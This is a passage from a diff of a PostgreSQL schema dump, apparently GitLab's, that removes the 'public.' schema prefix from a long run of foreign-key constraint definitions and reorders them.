- ADD CONSTRAINT fk_rails_a1804f74a7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY jira_connect_subscriptions
+ ADD CONSTRAINT fk_rails_a3c10bcf7d FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_user_mentions
- ADD CONSTRAINT fk_rails_a18600f210 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY fork_network_members
+ ADD CONSTRAINT fk_rails_a40860a1ca FOREIGN KEY (fork_network_id) REFERENCES fork_networks(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.todos
- ADD CONSTRAINT fk_rails_a27c483435 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_feature_flag_scopes
+ ADD CONSTRAINT fk_rails_a50a04d0a4 FOREIGN KEY (feature_flag_id) REFERENCES operations_feature_flags(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.jira_tracker_data
- ADD CONSTRAINT fk_rails_a299066916 FOREIGN KEY (service_id) REFERENCES public.services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_projects
+ ADD CONSTRAINT fk_rails_a5a958bca1 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_environments
- ADD CONSTRAINT fk_rails_a354313d11 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY commit_user_mentions
+ ADD CONSTRAINT fk_rails_a6760813e0 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.jira_connect_subscriptions
- ADD CONSTRAINT fk_rails_a3c10bcf7d FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_identifiers
+ ADD CONSTRAINT fk_rails_a67a16c885 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.fork_network_members
- ADD CONSTRAINT fk_rails_a40860a1ca FOREIGN KEY (fork_network_id) REFERENCES public.fork_networks(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_preferences
+ ADD CONSTRAINT fk_rails_a69bfcfd81 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_feature_flag_scopes
- ADD CONSTRAINT fk_rails_a50a04d0a4 FOREIGN KEY (feature_flag_id) REFERENCES public.operations_feature_flags(id) ON DELETE CASCADE;
+ALTER TABLE ONLY sentry_issues
+ ADD CONSTRAINT fk_rails_a6a9612965 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_projects
- ADD CONSTRAINT fk_rails_a5a958bca1 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY repository_languages
+ ADD CONSTRAINT fk_rails_a750ec87a8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.commit_user_mentions
- ADD CONSTRAINT fk_rails_a6760813e0 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_milestone_events
+ ADD CONSTRAINT fk_rails_a788026e85 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_identifiers
- ADD CONSTRAINT fk_rails_a67a16c885 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY term_agreements
+ ADD CONSTRAINT fk_rails_a88721bcdf FOREIGN KEY (term_id) REFERENCES application_setting_terms(id);
-ALTER TABLE ONLY public.user_preferences
- ADD CONSTRAINT fk_rails_a69bfcfd81 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipeline_artifacts
+ ADD CONSTRAINT fk_rails_a9e811a466 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.sentry_issues
- ADD CONSTRAINT fk_rails_a6a9612965 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_user_mentions
+ ADD CONSTRAINT fk_rails_aa1b2961b1 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.repository_languages
- ADD CONSTRAINT fk_rails_a750ec87a8 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY x509_commit_signatures
+ ADD CONSTRAINT fk_rails_ab07452314 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_milestone_events
- ADD CONSTRAINT fk_rails_a788026e85 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_trace_sections
+ ADD CONSTRAINT fk_rails_ab7c104e26 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.term_agreements
- ADD CONSTRAINT fk_rails_a88721bcdf FOREIGN KEY (term_id) REFERENCES public.application_setting_terms(id);
+ALTER TABLE ONLY resource_iteration_events
+ ADD CONSTRAINT fk_rails_abf5d4affa FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipeline_artifacts
- ADD CONSTRAINT fk_rails_a9e811a466 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters
+ ADD CONSTRAINT fk_rails_ac3a663d79 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.merge_request_user_mentions
- ADD CONSTRAINT fk_rails_aa1b2961b1 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_composer_metadata
+ ADD CONSTRAINT fk_rails_ad48c2e5bb FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.x509_commit_signatures
- ADD CONSTRAINT fk_rails_ab07452314 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_group_stages
+ ADD CONSTRAINT fk_rails_ae5da3409b FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_build_trace_sections
- ADD CONSTRAINT fk_rails_ab7c104e26 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY metrics_dashboard_annotations
+ ADD CONSTRAINT fk_rails_aeb11a7643 FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_iteration_events
- ADD CONSTRAINT fk_rails_abf5d4affa FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY pool_repositories
+ ADD CONSTRAINT fk_rails_af3f8c5d62 FOREIGN KEY (shard_id) REFERENCES shards(id) ON DELETE RESTRICT;
-ALTER TABLE ONLY public.clusters
- ADD CONSTRAINT fk_rails_ac3a663d79 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_statistics
+ ADD CONSTRAINT fk_rails_af61a7df4c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_composer_metadata
- ADD CONSTRAINT fk_rails_ad48c2e5bb FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_label_events
+ ADD CONSTRAINT fk_rails_b126799f57 FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_stages
- ADD CONSTRAINT fk_rails_ae5da3409b FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY webauthn_registrations
+ ADD CONSTRAINT fk_rails_b15c016782 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.metrics_dashboard_annotations
- ADD CONSTRAINT fk_rails_aeb11a7643 FOREIGN KEY (environment_id) REFERENCES public.environments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_build_infos
+ ADD CONSTRAINT fk_rails_b18868292d FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.pool_repositories
- ADD CONSTRAINT fk_rails_af3f8c5d62 FOREIGN KEY (shard_id) REFERENCES public.shards(id) ON DELETE RESTRICT;
+ALTER TABLE ONLY authentication_events
+ ADD CONSTRAINT fk_rails_b204656a54 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.vulnerability_statistics
- ADD CONSTRAINT fk_rails_af61a7df4c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_trains
+ ADD CONSTRAINT fk_rails_b29261ce31 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_label_events
- ADD CONSTRAINT fk_rails_b126799f57 FOREIGN KEY (label_id) REFERENCES public.labels(id) ON DELETE SET NULL;
+ALTER TABLE ONLY board_project_recent_visits
+ ADD CONSTRAINT fk_rails_b315dd0c80 FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.webauthn_registrations
- ADD CONSTRAINT fk_rails_b15c016782 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues_prometheus_alert_events
+ ADD CONSTRAINT fk_rails_b32edb790f FOREIGN KEY (prometheus_alert_event_id) REFERENCES prometheus_alert_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_build_infos
- ADD CONSTRAINT fk_rails_b18868292d FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_trains
+ ADD CONSTRAINT fk_rails_b374b5225d FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_trains
- ADD CONSTRAINT fk_rails_b29261ce31 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY application_settings
+ ADD CONSTRAINT fk_rails_b53e481273 FOREIGN KEY (custom_project_templates_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.board_project_recent_visits
- ADD CONSTRAINT fk_rails_b315dd0c80 FOREIGN KEY (board_id) REFERENCES public.boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY namespace_aggregation_schedules
+ ADD CONSTRAINT fk_rails_b565c8d16c FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues_prometheus_alert_events
- ADD CONSTRAINT fk_rails_b32edb790f FOREIGN KEY (prometheus_alert_event_id) REFERENCES public.prometheus_alert_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_project_rules_protected_branches
+ ADD CONSTRAINT fk_rails_b7567b031b FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_trains
- ADD CONSTRAINT fk_rails_b374b5225d FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY alerts_service_data
+ ADD CONSTRAINT fk_rails_b93215a42c FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.application_settings
- ADD CONSTRAINT fk_rails_b53e481273 FOREIGN KEY (custom_project_templates_group_id) REFERENCES public.namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_trains
+ ADD CONSTRAINT fk_rails_b9d67af01d FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespace_aggregation_schedules
- ADD CONSTRAINT fk_rails_b565c8d16c FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_project_rules_users
+ ADD CONSTRAINT fk_rails_b9e9394efb FOREIGN KEY (approval_project_rule_id) REFERENCES approval_project_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_project_rules_protected_branches
- ADD CONSTRAINT fk_rails_b7567b031b FOREIGN KEY (protected_branch_id) REFERENCES public.protected_branches(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lists
+ ADD CONSTRAINT fk_rails_baed5f39b7 FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alerts_service_data
- ADD CONSTRAINT fk_rails_b93215a42c FOREIGN KEY (service_id) REFERENCES public.services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY security_findings
+ ADD CONSTRAINT fk_rails_bb63863cf1 FOREIGN KEY (scan_id) REFERENCES security_scans(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_trains
- ADD CONSTRAINT fk_rails_b9d67af01d FOREIGN KEY (target_project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rules_users
+ ADD CONSTRAINT fk_rails_bc8972fa55 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_project_rules_users
- ADD CONSTRAINT fk_rails_b9e9394efb FOREIGN KEY (approval_project_rule_id) REFERENCES public.approval_project_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY external_pull_requests
+ ADD CONSTRAINT fk_rails_bcae9b5c7b FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.lists
- ADD CONSTRAINT fk_rails_baed5f39b7 FOREIGN KEY (milestone_id) REFERENCES public.milestones(id) ON DELETE CASCADE;
+ALTER TABLE ONLY elasticsearch_indexed_projects
+ ADD CONSTRAINT fk_rails_bd13bbdc3d FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rules_users
- ADD CONSTRAINT fk_rails_bc8972fa55 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY elasticsearch_indexed_namespaces
+ ADD CONSTRAINT fk_rails_bdcf044f37 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.external_pull_requests
- ADD CONSTRAINT fk_rails_bcae9b5c7b FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_occurrence_identifiers
+ ADD CONSTRAINT fk_rails_be2e49e1d0 FOREIGN KEY (identifier_id) REFERENCES vulnerability_identifiers(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.elasticsearch_indexed_projects
- ADD CONSTRAINT fk_rails_bd13bbdc3d FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_occurrences
+ ADD CONSTRAINT fk_rails_bf5b788ca7 FOREIGN KEY (scanner_id) REFERENCES vulnerability_scanners(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.elasticsearch_indexed_namespaces
- ADD CONSTRAINT fk_rails_bdcf044f37 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_weight_events
+ ADD CONSTRAINT fk_rails_bfc406b47c FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.vulnerability_occurrence_identifiers
- ADD CONSTRAINT fk_rails_be2e49e1d0 FOREIGN KEY (identifier_id) REFERENCES public.vulnerability_identifiers(id) ON DELETE CASCADE;
+ALTER TABLE ONLY design_management_designs
+ ADD CONSTRAINT fk_rails_bfe283ec3c FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_occurrences
- ADD CONSTRAINT fk_rails_bf5b788ca7 FOREIGN KEY (scanner_id) REFERENCES public.vulnerability_scanners(id) ON DELETE CASCADE;
+ALTER TABLE ONLY atlassian_identities
+ ADD CONSTRAINT fk_rails_c02928bc18 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_weight_events
- ADD CONSTRAINT fk_rails_bfc406b47c FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY serverless_domain_cluster
+ ADD CONSTRAINT fk_rails_c09009dee1 FOREIGN KEY (pages_domain_id) REFERENCES pages_domains(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.design_management_designs
- ADD CONSTRAINT fk_rails_bfe283ec3c FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY labels
+ ADD CONSTRAINT fk_rails_c1ac5161d8 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.serverless_domain_cluster
- ADD CONSTRAINT fk_rails_c09009dee1 FOREIGN KEY (pages_domain_id) REFERENCES public.pages_domains(id) ON DELETE CASCADE;
+ALTER TABLE ONLY backup_labels
+ ADD CONSTRAINT fk_rails_c1ac5161d8 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.labels
- ADD CONSTRAINT fk_rails_c1ac5161d8 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_feature_usages
+ ADD CONSTRAINT fk_rails_c22a50024b FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.backup_labels
- ADD CONSTRAINT fk_rails_c1ac5161d8 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_canonical_emails
+ ADD CONSTRAINT fk_rails_c2bd828b51 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_feature_usages
- ADD CONSTRAINT fk_rails_c22a50024b FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_repositories
+ ADD CONSTRAINT fk_rails_c3258dc63b FOREIGN KEY (shard_id) REFERENCES shards(id) ON DELETE RESTRICT;
-ALTER TABLE ONLY public.user_canonical_emails
- ADD CONSTRAINT fk_rails_c2bd828b51 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_nuget_dependency_link_metadata
+ ADD CONSTRAINT fk_rails_c3313ee2e4 FOREIGN KEY (dependency_link_id) REFERENCES packages_dependency_links(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_repositories
- ADD CONSTRAINT fk_rails_c3258dc63b FOREIGN KEY (shard_id) REFERENCES public.shards(id) ON DELETE RESTRICT;
+ALTER TABLE ONLY group_deploy_keys_groups
+ ADD CONSTRAINT fk_rails_c3854f19f5 FOREIGN KEY (group_deploy_key_id) REFERENCES group_deploy_keys(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_nuget_dependency_link_metadata
- ADD CONSTRAINT fk_rails_c3313ee2e4 FOREIGN KEY (dependency_link_id) REFERENCES public.packages_dependency_links(id) ON DELETE CASCADE;
+ALTER TABLE ONLY pages_deployments
+ ADD CONSTRAINT fk_rails_c3a90cf29b FOREIGN KEY (ci_build_id) REFERENCES ci_builds(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.group_deploy_keys_groups
- ADD CONSTRAINT fk_rails_c3854f19f5 FOREIGN KEY (group_deploy_key_id) REFERENCES public.group_deploy_keys(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_user_mentions
+ ADD CONSTRAINT fk_rails_c440b9ea31 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_user_mentions
- ADD CONSTRAINT fk_rails_c440b9ea31 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_artifacts
+ ADD CONSTRAINT fk_rails_c5137cb2c1 FOREIGN KEY (job_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_job_artifacts
- ADD CONSTRAINT fk_rails_c5137cb2c1 FOREIGN KEY (job_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_settings
+ ADD CONSTRAINT fk_rails_c6df6e6328 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_settings
- ADD CONSTRAINT fk_rails_c6df6e6328 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY container_expiration_policies
+ ADD CONSTRAINT fk_rails_c7360f09ad FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.container_expiration_policies
- ADD CONSTRAINT fk_rails_c7360f09ad FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY wiki_page_meta
+ ADD CONSTRAINT fk_rails_c7a0c59cf1 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.wiki_page_meta
- ADD CONSTRAINT fk_rails_c7a0c59cf1 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY scim_oauth_access_tokens
+ ADD CONSTRAINT fk_rails_c84404fb6c FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.scim_oauth_access_tokens
- ADD CONSTRAINT fk_rails_c84404fb6c FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_occurrences
+ ADD CONSTRAINT fk_rails_c8661a61eb FOREIGN KEY (primary_identifier_id) REFERENCES vulnerability_identifiers(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_occurrences
- ADD CONSTRAINT fk_rails_c8661a61eb FOREIGN KEY (primary_identifier_id) REFERENCES public.vulnerability_identifiers(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_export_jobs
+ ADD CONSTRAINT fk_rails_c88d8db2e1 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_export_jobs
- ADD CONSTRAINT fk_rails_c88d8db2e1 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_state_events
+ ADD CONSTRAINT fk_rails_c913c64977 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_state_events
- ADD CONSTRAINT fk_rails_c913c64977 FOREIGN KEY (epic_id) REFERENCES public.epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_milestone_events
+ ADD CONSTRAINT fk_rails_c940fb9fc5 FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_milestone_events
- ADD CONSTRAINT fk_rails_c940fb9fc5 FOREIGN KEY (milestone_id) REFERENCES public.milestones(id) ON DELETE CASCADE;
+ALTER TABLE ONLY gpg_signatures
+ ADD CONSTRAINT fk_rails_c97176f5f7 FOREIGN KEY (gpg_key_id) REFERENCES gpg_keys(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.gpg_signatures
- ADD CONSTRAINT fk_rails_c97176f5f7 FOREIGN KEY (gpg_key_id) REFERENCES public.gpg_keys(id) ON DELETE SET NULL;
+ALTER TABLE ONLY board_group_recent_visits
+ ADD CONSTRAINT fk_rails_ca04c38720 FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_group_recent_visits
- ADD CONSTRAINT fk_rails_ca04c38720 FOREIGN KEY (board_id) REFERENCES public.boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues_self_managed_prometheus_alert_events
+ ADD CONSTRAINT fk_rails_cc5d88bbb0 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues_self_managed_prometheus_alert_events
- ADD CONSTRAINT fk_rails_cc5d88bbb0 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_strategies_user_lists
+ ADD CONSTRAINT fk_rails_ccb7e4bc0b FOREIGN KEY (user_list_id) REFERENCES operations_user_lists(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_strategies_user_lists
- ADD CONSTRAINT fk_rails_ccb7e4bc0b FOREIGN KEY (user_list_id) REFERENCES public.operations_user_lists(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issue_tracker_data
+ ADD CONSTRAINT fk_rails_ccc0840427 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issue_tracker_data
- ADD CONSTRAINT fk_rails_ccc0840427 FOREIGN KEY (service_id) REFERENCES public.services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_milestone_events
+ ADD CONSTRAINT fk_rails_cedf8cce4d FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.resource_milestone_events
- ADD CONSTRAINT fk_rails_cedf8cce4d FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY resource_iteration_events
+ ADD CONSTRAINT fk_rails_cee126f66c FOREIGN KEY (iteration_id) REFERENCES sprints(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_iteration_events
- ADD CONSTRAINT fk_rails_cee126f66c FOREIGN KEY (iteration_id) REFERENCES public.sprints(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epic_metrics
+ ADD CONSTRAINT fk_rails_d071904753 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epic_metrics
- ADD CONSTRAINT fk_rails_d071904753 FOREIGN KEY (epic_id) REFERENCES public.epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY subscriptions
+ ADD CONSTRAINT fk_rails_d0c8bda804 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.subscriptions
- ADD CONSTRAINT fk_rails_d0c8bda804 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_strategies
+ ADD CONSTRAINT fk_rails_d183b6e6dd FOREIGN KEY (feature_flag_id) REFERENCES operations_feature_flags(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_strategies
- ADD CONSTRAINT fk_rails_d183b6e6dd FOREIGN KEY (feature_flag_id) REFERENCES public.operations_feature_flags(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_agent_tokens
+ ADD CONSTRAINT fk_rails_d1d26abc25 FOREIGN KEY (agent_id) REFERENCES cluster_agents(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_agent_tokens
- ADD CONSTRAINT fk_rails_d1d26abc25 FOREIGN KEY (agent_id) REFERENCES public.cluster_agents(id) ON DELETE CASCADE;
+ALTER TABLE ONLY requirements_management_test_reports
+ ADD CONSTRAINT fk_rails_d1e8b498bf FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.requirements_management_test_reports
- ADD CONSTRAINT fk_rails_d1e8b498bf FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY pool_repositories
+ ADD CONSTRAINT fk_rails_d2711daad4 FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.pool_repositories
- ADD CONSTRAINT fk_rails_d2711daad4 FOREIGN KEY (source_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY group_group_links
+ ADD CONSTRAINT fk_rails_d3a0488427 FOREIGN KEY (shared_group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_group_links
- ADD CONSTRAINT fk_rails_d3a0488427 FOREIGN KEY (shared_group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_issue_links
+ ADD CONSTRAINT fk_rails_d459c19036 FOREIGN KEY (vulnerability_id) REFERENCES vulnerabilities(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_issue_links
- ADD CONSTRAINT fk_rails_d459c19036 FOREIGN KEY (vulnerability_id) REFERENCES public.vulnerabilities(id) ON DELETE CASCADE;
+ALTER TABLE ONLY alert_management_alert_assignees
+ ADD CONSTRAINT fk_rails_d47570ac62 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alert_assignees
